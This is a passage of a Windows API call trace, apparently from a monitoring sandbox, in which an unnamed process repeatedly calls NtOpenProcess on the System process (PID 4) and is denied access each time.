Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.447] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.448] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.449] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.450] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 0xc0000022 [0085.451] NtOpenProcess (in: ProcessHandle=0x1c7fe280, DesiredAccess=0x440, ObjectAttributes=0x1c7fe210*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1c7fe200*(UniqueProcess=0x4, UniqueThread=0x0) | out: ProcessHandle=0x1c7fe280*=0x0) returned 